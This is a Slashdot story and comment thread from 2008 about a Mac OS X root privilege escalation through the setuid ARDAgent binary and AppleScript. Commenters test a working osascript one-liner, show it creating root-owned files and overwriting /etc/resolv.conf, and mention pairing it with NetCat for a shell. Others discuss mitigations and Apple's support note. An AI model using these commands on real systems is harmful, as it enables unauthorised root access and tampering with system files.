Mac OS X Root Escalation Through AppleScript

An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.

ARDAgent is Apple Remote Desktop

[dch24]

ARD = Apple Remote Desktop You can remove it by following these instructions [macosxhints.com].

Only need a shell....

[LS1 Brains]

Many people have sshd running as well, so it doesn't quite have to be local. Just need a shell.

Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)

Re:ARDagent

[Medieval_Gnome]

I might be misinterpreting you, so I apologize if I am. However, it sounds like you're saying that in order to have this code work, "Screen Sharing" needs to be enabled in the Sharing preferences. This is not true.

Even as a normal user on my mac, the exploit code works.

Re:Physical access?

[Medieval_Gnome]

This does not work over ssh, at least not if you user isn't also logged in physically to the machine. If you try over ssh, it gives the error

_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

However, it does work if you have a remote desktop view into a machine.

Re:Only need a shell....

[pudge]

Many people have sshd running as well, so it doesn't quite have to be local. Just need a shell.

Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)

Nope. You cannot do it via SSH unless that account is already logged in physically, at the console.

[pudge@bourque ~]$ ls -l /etc/test1
ls: /etc/test1: No such file or directory
[pudge@bourque ~]$ touch /etc/test1
touch: /etc/test1: Permission denied
[pudge@bourque ~]$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test1"'
[pudge@bourque ~]$ ls -l /etc/test1
-rw-rw-rw- 1 root wheel 0 Jun 18 11:27 /etc/test1

versus:

[pudge@bourque ~]$ ssh maintenance@localhost
bourque:~ maintenance$ ls -l /etc/test2
ls: /etc/test2: No such file or directory
bourque:~ maintenance$ touch /etc/test2
touch: /etc/test2: Permission denied
bourque:~ maintenance$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test2"'
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

MOD PARENT DOWN

[Moridineas]

Other reply -- Medieval_Gnome -- is absolutely correct. Unless you've DELETED by hand the Apple Remote Desktop files, the exploit works. I do not have ARD enabled, and the exploit works.

Re:Physical access?

[pudge]

The AppleScript requires an account to be logged in at the console. Granted, it's possible to also do that remotely, but you still need to have the console avilable via VNC etc.

not a full exploit, yet

[rritterson]

Okay, so I tested it and the whoami returns 'root'.

However, I also logged out of my account and into an account that has no permissions to access my regular home directory (normally I log in with short name "me"), then ran:

osascript -e 'tell app "ARDAgent" to do shell script "touch /Users/me/Downloads/test.txt"'

It doesn't do anything for a long time, and then returns

execution error: ARDAgent got an error: AppleEvent timed out. (-1712)


Same thing happens if I bundle the command into a sh file and try to execute that instead. I am not a hacker, but it would seem, at least at first glance, that ARDAgent is not entirely privileged.

Re:ARDagent

[Barrie_rdv]

Not really, I didn't turn on Remote Desktop Sharing, but I get the same output...

Re:Physical access?

[pudge]

A terminal isn't enough?

Correct.

Re:not a full exploit, yet

[rritterson]

Actually, the above only occurs as I had 'su'ed to another user, then ran the above command. If, instead of using su I simply try to touch a file in the second account, it works just fine. So I retract the above.

Re:Only need a shell....

[t-maxx cowboy]

I have confirmed the above assessment by 'pudge', that in order for the exploit to work, an account that is logged into the console, needs to be utilized from an SSH connection.

Tested it my self remotely.

Re:Insecure root-owned binaries on unix?

[Charles Dodgeson]

That's it:

% ls -l /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/
-rwsr-xr-x 1 root wheel 1439952 Nov 15 2007 ARDAgent

Time to run find(1) to see if there are any other things like this.

And, I should say, as a so-call Apple fanboy, I am deeply embarrassed. It's been decades that people have known to watch out for stuff like this.

Quick Question

[Gewalt]

I can't get the script to successfully run anything other than "whoami". Has anyone else found this to actually be exploitable... or is this just a silly "hey lets make terminal output scary characters" game?

Re:Quick Question

[Charles Dodgeson]

I've got it to run destructive things as an ordinary user without any need for authentication beyond being logged in

% osascript -e 'tell app "ARDAgent" to do shell script "echo Nasty Content > /etc/resolv.conf"' % cat /etc/resolv.conf
Nasty Content

One more, maybe.

[bill_mcgonigle]

Time to run find(1) to see if there are any other things like this.

Assumptions:
AppleScripting is only applicable to .app's
"do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.

Results:

%sudo find /System/ -type f -ls | grep ' -rws' | grep MacOS | grep '\.app'
365120 2864 -rwsr-xr-x 1 root wheel 1463076 Oct 17 2007 /System//Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
376733 120 -rws--x--x 1 root daemon 61076 Jul 11 2007 /System//Library/Filesystems/AppleShare/check_afp.app/Contents/MacOS/check_afp

Now, I have one of the machines where this exploit isn't working:

%osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

So, somebody out there who can get it to work, see if:

%osascript -e 'tell app "check_afp" to do shell script "whoami"'

works or not. That might need full pathing, I'm not sure.

The exploits - they do nothing!

[Lars T.]

After about 20 seconds waiting:
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
I'm so not impressed.

It's easier than that..

[theolein]

Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.

It's almost like Anna_Kournikova.jpg.vbs all over again.

Recipe for neutralizing it

[goombah99]

Here's a non-destructive way to neutralize it.

cd /System/Library/CoreServices/RemoteManagement/

sudo tar -czf ARDAgent.app.gz ARDAgent.app

sudo chmod 600 ARDAgent.app.gz

This simply hides it in an unreadable tarball.

Re:Physical access?

[tverbeek]

A remote terminal session doesn't get you access to the OS X GUI, which is where AppleScript is found.

Nope, not here

[clang_jangle]

Here's the output I get on my Mac (powerpc running os x Tiger version 10.4.11) :

23:78: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)

Doesn't look too scary to me. Some kind of hoax maybe? :)

Re:Recipe for neutralizing it

[patrick42]

Or more simply:

chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent

After doing that, I get:

patrick@picasso:~$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
patrick

(Repairing permissions will probably reset this though.)

Re:Recipe for neutralizing it

[Kadin2048]

No, GP was correct. On Mac OS X, ".app" means an application bundle ... which is a directory, not a file.

If you try to gzip an application bundle without putting it in a tarball first, you'll just get a "foo.app/ is a directory; ignored" error.

It's confusing because the Finder doesn't treat application bundles like normal directories, but that's what they are to the filesystem and *nix utilities.

Re:ARDagent

[Kadin2048]

I don't think the GP was saying that you need to have Screen Sharing enabled for the exploit to work at all; you need to have Screen Sharing turned on for someone to run the exploit without physical access to the machine.

I.e., you can't run it over an SSH session; you need the Finder. The only ways to get access to the Finder are either physically, by sitting down in front of the computer, or by using a screen-sharing application like Screen Sharing (Remote Desktop), or VNC.

That was my understanding, at least.

The exploit works, if you have physical access to the machine, regardless of whether you have Screen Sharing enabled or not. However, it's when you have Screen Sharing turned on that it's possibly a remote root to anyone you let access your screen.

It's a bad vulnerability and one that I'd like to see Apple fix ASAP, but it's several steps down from a true unprivileged remote root. It might have negative consequences for shared and lab machines, but for most home and office users it doesn't seem like it means much, unless you typically allow lots of people remote-desktop/VNC access.

Re:Recipe for neutralizing it

[djw]

Don't forget to delete the original afterwards: sudo rm -rf ARDAgent.app

Re:Physical access?

[Firehed]

True. But presumably you could write the script in any of the command-line editors and save it to the desktop or something, at which point the user could click on it.

Not that it matters. If you have that level of access, you're already in a position to do more damage than what you could do through this exploit, by the sounds of it.

Re:Root Account Disabled by Default on Macs

[That's What She Said]

So, can someone explain to me how an exploit can get root of there's no root account?

Simple: the root account exists by default. It's not accessible and you can't log-in with it by default. But it's there.

Apple's Knowledge Base reports this is 'safe'

[AEton]

Item TS1448 [apple.com] in the Apple support knowledge base addresses this issue and is dated June 6, 2008. The issue was reported by users as early as October [macrumors.com].

Users noticed in October that Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program (along with several others) because it was user-executable and setuid root. None of the users seemed to understand exactly what this meant...

Apple's reported fix, and I am not making this up:

The resolution:
You can safely ignore these messages. They are accurate but not a cause for concern.

The entire text below, in case Apple deletes it:
  Mac OS X 10.5: Disk Utility's Repair Disk Permissions reports issues with SUID files

        * Last Modified: June 06, 2008
        * Article: TS1448

        * Old Article: 306925

Symptoms

The following messages may appear in the Disk Utility log window when repairing disk permissions.

Warning: SUID file "usr/libexec/load_hdi" has been modified and will not be repaired.

Warning: SUID file "System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/Resources/DiskManagementTool" has been modified and will not be repaired.

Warning: SUID file "System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/Locum" has been modified and will not be repaired.

Warning: SUID file "System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner" has been modified and will not be repaired.

Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/readconfig" has been modified and will not be repaired.

Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/writeconfig" has been modified and will not be repaired.

Warning: SUID file "usr/libexec/authopen" has been modified and will not be repaired.

Warning: SUID file "System/Library/CoreServices/Finder.app/Contents/Resources/OwnerGroupTool" has been modified and will not be repaired.

Warning: SUID file "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent" has been modified and will not be repaired.

"Any message that starts with: 'ACL found but not expected on...'."
Products Affected

Mac OS X 10.5
Resolution

You can safely ignore these messages. They are accurate but not a cause for concern.

Re:Physical access?

[Jasin Natael]

The user wouldn't need to do anything. If you log in via SSH as a limited user, you could (theoretically) use OS X's "open" command to launch the file as if it was clicked, from anywhere in the filesystem. The catch is that your SSH login must be the current user of the Window Server (locally logged-in).

I tried it - didn't work for me

[userw014]

I tried it and got:

execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)

This is on MacOSX 10.5.3 (9D34) Darwin 9.3.0, Power PC . I have "Remote Login" and "Remote Management" enabled. "Screen Sharing" is under the control of Remote Management.

Haven't tried it on my Intel Mac, or my iMac G5/Tiger . (The iMac stays at Tiger for BitPim and a bunch of games for the kids.)

Fix using Info.plist

[jediknil]

This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)

<key>NSAppleScriptEnabled</key>
<string>YES</string>

That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.

P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.

NetCat + ARDAgent escalation video posted

[bitshark]

I've compiled and posted a video of this in action and mixed in a bit of NetCat, thus providing an interactive shell for convenience. Check it out at http://fieryferret.com/ard_hack/ [fieryferret.com]

My mistake

[Macka]

Ah, now I understand what you meant. I just SSH'd into a headless Mac Mini I have and tried it. It kicks out the message:

pebbles: ~ $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

Then after a timeout delay it returns with an error:

23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)

So someone has to be logged into the Desktop at the same time the command is issued (even if issued remotely) and I'm guessing that the account the remote user is logged into probably has to be the same account the desktop user is using.

So Xserve servers should be immune to this via SSH, unless someone else is actively using Remote Desktop at the same time. Interesting!

Re:Root via OS X install DVD

[Ilgaz]

Not saying to devalidate your post (which is true) but for the concerned, Apple Open Firmware/EFI Password can be enabled by following instructions at http://support.apple.com/kb/HT1352 [apple.com] . If I had a laptop instead of desktop, I would enable it directly.

Blocks the ability to use the "C" key to start up from an optical disc.
Blocks the ability to use the "N" key to start up from a NetBoot server.
Blocks the ability to use the "T" key to start up in Target Disk Mode (on computers that offer this feature).
Blocks the ability to start up in Verbose mode by pressing the Command-V key combination during startup.
Block the ability to start up a system in Single-user mode by pressing the Command-S key combination during startup.
Blocks a reset of Parameter RAM (PRAM) by pressing the Command-Option-P-R key combination during startup.
Requires the password to use the Startup Manager, accessed by pressing the Option key during startup (see below).
Requires the password to enter commands after starting up in Open Firmware, which is done by pressing the Command-Option-O-F key combination during startup.
Blocks the ability to start up in Safe Boot mode by pressing the Shift key during startup.

(Similar stuff on Intel)

Re:Physical access?

[pudge]

No, again, you need the account you're using to be logged into the console, one way or another. If you are logged in as "gandalf" on the console, then you can run this script as "gandalf" over ssh, but not as "frodo."

Of course, you can run it as "root" over ssh, but that kinda defeats the purpose!

Re:Physical access?

[Sentry21]

Unless the user that you're logged in as is also logged in physically, in which case you can access WindowServer and thus ARDAgent will do its thing.

Re:Physical access?

[DiLLeMaN]

Mini:~ max$ ssh [e-mail]
Password:
Last login: Thu Jun 19 03:37:58 2008
eMac:~ max$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
root

Come again? Even though the eMac is sitting right next to the mini, there's no VNC or other screen sharing running. Screen sharing IS switched on, though. If I switch it off, the exploit still works. Remote management is switched off the entire time.

Re:Fix using Info.plist

[mzs]

Hmm, this works for me and is persistent across runs. Do this as an admin user:

$ sudo defaults write /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info NSAppleScriptEnabled YES
$ sudo plutil -convert xml1 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist
$ sudo chmod 644 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist

The NSAppleScriptEnabled seems to force the use of the standard applescript dictionary which lacks the "do shell script" action. This is what you get when you try again:

$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

You don't need physical access.

[argent]

You just need the ability to execute applescript on the machine.

It's not quite as easy as passing in an "applescript:" URL, at least...

An external application must be launched to handle applescript: links.

Requested link:

applescript:do%20shell%20script%20%22whoami%22

Application: Script Editor

Re:Recipe for neutralizing it

[mollymoo]

Not sure if you can edit the database manually, but it looks like pkgutil [apple.com]'s --edit-pkg and --learn options might do the trick to update the package receipts Repair Permissions uses.

Does ARD continue to work after you've changed the permissions? If it doesn't you might as well just remove it.